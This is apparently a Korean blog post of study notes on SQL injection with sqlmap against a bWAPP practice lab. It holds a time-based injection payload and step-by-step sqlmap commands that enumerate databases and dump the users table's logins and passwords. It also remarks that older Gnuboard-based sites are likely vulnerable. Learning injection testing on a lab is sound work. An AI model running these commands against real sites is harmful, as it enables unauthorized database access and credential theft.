[SQL인젝션] sqlmap 24_05_09

오대진·2024년 5월 9일
  1. 파이썬 및 sqlmap, 비박스 설치
    https://www.python.org/ 최신버전 다운로드
    https://sqlmap.org/ 다운로드
    비박스는 인젝션 공부에 사용되는 서버툴이다.

  2. sqlmap 설치한 폴더에서 cmd 입력 후
    py sqlmap.py 입력 시 sqlmap 실행

※ sqlmap 사용전 작업해볼 공간에서
'검색값' and sleep(10)# // 같은 쿼리문으로 이 쿼리가 정상작동하는지 체크하는게 효율이 좋다.
※ 오픈 소스인 그누보드나 제로보드 같은 기반으로 만들어진 사이트는 sql injection이 안될 확률이 높다. 취약점 제보가 실시간으로 이뤄지기 때문이다.
하지만 그누보드의 낮은 버전에서는 터질 확률이 높다.
혹은 그누보드를 이용한 개발자가 개발한 페이지도 터질 확률이 있다.


get 방식

  1. dbms 및 db 조회
    py sqlmap.py u "http://domain.net" -p 타이틀명 --cookie="쿠키값" --risk=3 --level=5 --dbs
    Ex) py sqlmap.py -u "http://192.168.219.138/bWAPP/sqli_1.php?title=%27&action=search" -p title --cookie="PHPSESSID=3e0f012f52268f4919140ea27cb9a49f; security_level=0" --risk=3 --level=5 --dbs

-p : 타이틀명은 사이트마다 다르기 때문에 잘 기재하기
※ -p 값을 생략할 경우 모든 파라미터에서 진행을 해서 시간이 많이 소요된다.
--cookie : 쿠키 값도 쉴드명까지 끝까지 적어주기
--risk : 서버에 과부하를 얼마나 줄것인지 1~5까지 / 3이 적당
--level : 어떤 난이도의 쿼리문을 보낼 것인지 1~5까지 / 최대치로

  1. 테이블 조회 : 위에서 db 조회 후 나오는 db 결과 값 토대로 -d xxx 값 설정
    py sqlmap.py u "http://domain.net" -p 타이틀명 --cookie="쿠키값" --risk=3 --level=5 -D xxx --tables
    Ex) py sqlmap.py -u "http://192.168.219.138/bWAPP/sqli_1.php?title=%27&action=search" -p title --cookie="PHPSESSID=3e0f012f52268f4919140ea27cb9a49f; security_level=0" --risk=3 --level=5 -D bWAPP --tables

  2. 컬럼 조회
    py sqlmap.py u "http://domain.net" -p 타이틀명 --cookie="쿠키값" --risk=3 --level=5 -D xxx -T xxx --columns
    Ex) py sqlmap.py -u "http://192.168.219.138/bWAPP/sqli_1.php?title=%27&action=search" -p title --cookie="PHPSESSID=3e0f012f52268f4919140ea27cb9a49f; security_level=0" --risk=3 --level=5 -D bWAPP -T users --columns

  3. 조회
    py sqlmap.py u "http://domain.net" -p 타이틀명 --cookie="쿠키값" --risk=3 --level=5 -D xxx -T xxx -C 원하는 데이터명,원하는 데이터명 --dump
    Ex) py sqlmap.py -u "http://192.168.219.138/bWAPP/sqli_1.php?title=%27&action=search" -p title --cookie="PHPSESSID=3e0f012f52268f4919140ea27cb9a49f; security_level=0" --risk=3 --level=5 -D bWAPP -T users -C id,login,password --dump

0개의 댓글